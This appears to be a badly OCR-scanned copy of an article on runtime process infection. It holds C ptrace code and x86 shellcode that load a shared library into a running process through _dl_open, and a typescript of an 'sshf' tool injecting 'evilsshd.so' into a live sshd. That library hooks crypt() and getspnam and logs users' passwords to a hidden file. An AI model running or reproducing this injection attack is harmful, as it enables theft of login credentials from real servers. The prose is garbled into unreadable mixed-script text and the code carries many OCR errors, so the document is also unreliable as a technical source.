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/* attach to pid */

void
ptrace_attach(int pid)
{
if((ptrace(PTRACE_ATTACH, pid , NULL , NULL)) <0) {
perror("ptrace_attach");
exit(-1);
}
waitpid(pid , NULL , WUNTRACED);
¥

/* continue execution */

void
ptrace_cont(int pid)
{
if((ptrace(PTRACE_CONT , pid , NULL , NULL)) <0) {
perror("ptrace cont");
exit(-1);

! Runtime Process Infection



while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG);

/* detach process */

void
ptrace detach(int pid)
{
if(ptrace(PTRACE_DETACH, pid , NULL , NULL) <0) {
perror("ptrace_detach");
exit(-1);
h
}
/* read data from location addr */
void *
read_data(int pid ,unsigned long addr ,void *vptr ,int len)
{
int i, count;
long word;
unsigned long *ptr = (unsigned long *) vptr;
count =1=0;
while (count < len) {
word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \
NULL);
count +=4;
ptr[i++] = word;
h
}

/* write data to location addr */

void

write data(int pid ,unsigned long addr ,void *vptr,int len)
{

int i, count;

long word;

1= count = 0;

while (count <len) {
memcpy(&word , vptr+count , sizeof(word));
word = ptrace(PTRACE POKETEXT, pid , \
addr+count , word);
count +=4;
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from link.h:

struct link_map

{
EIfW(Addr) 1 addr; /* Base address shared object is loaded */

char *1 name; /* Absolute file name object was found in. */
ElIfW(Dyn) *1_1d; /* Dynamic section of the shared object. */
struct link_map *1_next, *1 prev; /* Chain of loaded objects.*/
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/* locate link-map in pid's memory */

struct link_map *
locate linkmap(int pid)

{

Elf32 Ehdr *ehdr = malloc(sizeof(Elf32 Ehdr));
Elf32 Phdr  *phdr = malloc(sizeof(Elf32 Phdr));
Elf32 Dyn *dyn = malloc(sizeof(Elf32 Dyn));
Elf32 Word  got;

struct link map *1 = malloc(sizeof(struct link_map));
unsigned long phdr _addr, dyn_addr, map addr;

/* first we check from elf header, mapped at 0x08048000, the offset
* to the program header table from where we try to locate
*PT_DYNAMIC section.

*/

read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr));

phdr_addr = 0x08048000 + ehdr->e_phoff;
printf("program header at %p\n", phdr addr);

read_data(pid , phdr_addr, phdr, sizeof(EIf32 Phdr));

while ( phdr->p type !=PT DYNAMIC) {
read data(pid, phdr_addr += sizeof(EIf32_Phdr), phdr, \
sizeof(Elf32_Phdr));

}

/* now go through dynamic section until we find address of the GOT
*/

read_data(pid, phdr->p_vaddr, dyn, sizeof(EIf32 Dyn));
dyn_addr = phdr->p_vaddr;

while ( dyn->d_tag != DT PLTGOT) {
read_data(pid, dyn addr += sizeof(EIf32 Dyn), dyn,\
sizeof(Elf32 Dyn));

}
got = (Elf32_ Word) dyn->d_un.d_ptr;
got +=4; /* second GOT entry, remember? */

/* now just read first link_map item and return it */
read_data(pid, (unsigned long) got, &map addr, 4);
read_data(pid , map_addr, 1, sizeof(struct link_map));

free(phdr);
free(ehdr);
free(dyn);



return I;

}

/* search locations of DT _SYMTAB and DT STRTAB and save them into global
* yariables, also save the nchains from hash table.
*/

unsigned long symtab;
unsigned long strtab;

int nchains;

void

resolv_tables(int pid , struct link_map *map)
{

Elf32 Dyn  *dyn = malloc(sizeof(Elf32 Dyn));
unsigned long addr;

addr = (unsigned long) map->1 1d;
read data(pid , addr, dyn, sizeof(Elf32 Dyn));

while ( dyn->d _tag) {
switch ( dyn->d_tag) {

case DT HASH:
read_data(pid,dyn->d_un.d ptr +\
map->1_addr+4,\
&nchains , sizeof(nchains));
break;

case DT _STRTAB:
strtab = dyn->d_un.d_ptr;
break;

case DT SYMTAB:
symtab = dyn->d_un.d ptr;
break;

default:
break;

}

addr += sizeof(Elf32_Dyn);
read data(pid, addr , dyn , sizeof(EIf32_Dyn));
}

free(dyn);



/* find symbol in DT _SYMTAB */

unsigned long
find sym_in_tables(int pid, struct link map *map , char *sym_name)

{
Elf32 Sym  *sym = malloc(sizeof(EIf32_Sym));
char *str;
nt 1
1=0;
while (i <nchains) {
read data(pid, symtab+(i*sizeof(EIf32_ Sym)), sym,
sizeof(Elf32_Sym));
i++;
if (ELF32 ST TYPE(sym->st info) != STT FUNC) continue;
/* read symbol name from the string table */
str =read_str(pid, strtab + sym->st name);
if(strncmp(str , sym_name , strlen(sym_name)) == 0)
return(map->1_addr+sym->st_value);
}
/* no symbol found, return 0 */
return O;
}
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void *
internal function
_dl_open (const char *file, int mode, const void *caller);
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EAX = const char *file

ECX = const void *caller (we set it to NULL)
EDX = int mode (RTLD LAZY)
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_start: jmp string
begin: pop eax ; char *file
xor ecx ,ecx ; *caller
mov edx ,0x1 ; int mode
mov ebx, 0x12345678 ; addr of _dl open()
call ebx ; call _dl open!

add esp, 0x4
int3 ; breakpoint

string: call begin
db "/tmp/ourlibby.so",0x00

Cadigii 3) oS (o Jiliwo | (I0ader position) saiS )b 0l b b 41yl Aleph buwgs 45 goog'old «i> L

o= 1INt3 uizron Lo (a3 SIS padlys o0 45 2l 2 )3 Lo 1T euilys o0 Lo 13 35135 3929 0T 0392 4 UL
Ol 4oeans S L 1) 395 23S )L euilyd (o Lo aGT 9 03,8 CilBgio LT 43 1) 1) dusg 13 coud> g0 18 'call



35 jlamy 1sT (ol eailes oo Lol s 228 i5lis join _dlopen() juisT.emS o sinl> (ol 3 (backup)
.o+ patch

Ol s b el (295 5 (... s PTRACE_GETREGS pid) ptrace b b oL3 (38,5 3ilg5 (00 )5 sly ol
3090 23 oS g0 B2 59 1, I0t3 gint 0X80 53,5 o jus> axiy J> |, libpath 4ws, OT 5l juy 9 2bL user_regs_struct
Lz 3,5 algsn JIS Ll Oyge0 4 008 JoleolS sl 50l b mdly 9 pasuie Job 4 Joo ol 45 CiS 2L S0 G208
290 o (2B (S pub w10 3515 Sl s sxb (5135 ,L W e 4 1) dynamic linker bl sla s b &
o) STl Sl 3o 35 15 5505 il 5 JSibio . 3bl sheowsl @l 35 52055 oz OT 29l 9 23S S5 (5,505 3oz 4
patch jl aulss oo yasd > pb 4 315 Gassds /proc/<pid>/maps 4 03,5 885 b (ol 1T Olgd g0 45 sl
L1 asloaad 6 133,0 Jud jl 45 ola alulS slg5 o 45l b S aolisuw] lsT 03,5 sio (51w kmem b Tkm oo 8
S reload 1) LT Gugw 9 55k 23907 332 sla wlis

OSws JIS ¢y 5851 (function redirection) g culsa (runtime infection) =l Oloj 4> il 2391 sl 0

9 o= Slas Procedure Linking Table b PLT 45 sls 4lis 595 dlis ,5 Silvio Cesare 45 sb Olod .00 0

4o .

sl patch , 5 g openwall pax s SwST ¢l .l sl o3kl G989 Ll SwiST izl Oloj > (s jw 2391
o JES! jui 1) LB gaw ) S 234 gy 20 S5 9 tHIPWIrE (59 1) IS ol a8 (23S god Jiitio ) Jud (2] 1 (51 it
1 9313 1,58 dlio ol slesl 43 1 sshd-infector 35 S Lzl oloj 43 (s ibw 03907 (5o Cabill I (sl Gges Olgie 4 .03
315 35 1) SSHD b asis SV 0l S JIMDS (slas guw 9 PAM ccrypt() 59, swsmwl> cubils 4ol o ¢yl

Qb

1. More elf buggery, bugtraq post, by grugq
http://online.securityfocus.com/archive/1/274283/2002-07-10/2002-07-16/2

2. Shared lib redirection by Silvio Cesare
http://www.big.net.au/~silvio/lib-redirection.txt

Subversive Dynamic Linking, by grugq
http://online.securityfocus.com/data/library/subversiveld.pdf

Shaun Clowes's Blackhat 2001 presentation slides
http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt

Tool Interface Standard (TIS) Executable and Linking Format Specification
http://x86.ddj.com/ftp/manuals/tools/elf.pdf

ptrace(2) man page
http://www.die.net/doc/linux/man/man2/ptrace.2.html



SSHD (1 321 ylo y 0uiiS &9 5 3 2 dowowd
sshf typescript:

root(@:/tmp> tar zxvf sshf.tgz

sshf/

sshf/sshf.c

sshf/evilsshd.c

sshf/Makefile.in

sshf/config.h.in

sshf/configure

root@:/tmp> cd sshf

root(@:/tmp/sshf> ./configure ; make

checking for gcc... gec

checking for C compiler default output... a.out

checking whether the C compiler works... yes

checking whether we are cross compiling... no

checking for executable suffix...

checking for object suffix... o

checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes

checking for pam_start in -lpam... yes

checking for MD5_Update in -lcrypto... yes

configure: creating ./config.status

config.status: creating Makefile

config.status: creating config.h

gee -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam
-DHAVE CONFIG H

gce -w -0 sshf sshf.c

root@:/tmp/sshf> ps auwx | grep sshd

root 9597 0.0 0.3 2840 13127 S 03:04 0:00 sshd
root@:/tmp/sshf>

root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so
attached to pid 9597

_dl_open at 0x4023014c

stopped 9597 at 0x402017ee

jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!

org crypt() at 0x804b860, evil crypt at 0x40265d60

org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MDS5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...

root@:/tmp/sshf>

root@:/tmp/sshf> ssh -1 luser 127.0.0.1

luser@127.0.0.1's password:

[luser@localhost:~>1s -al /tmp/.sshd_passwordz

-rw-r--r-- 1 root root 104 Jul 14 03:27
/tmp/.sshd_passwordz

[luser@localhost:~>exit

Enjoy.
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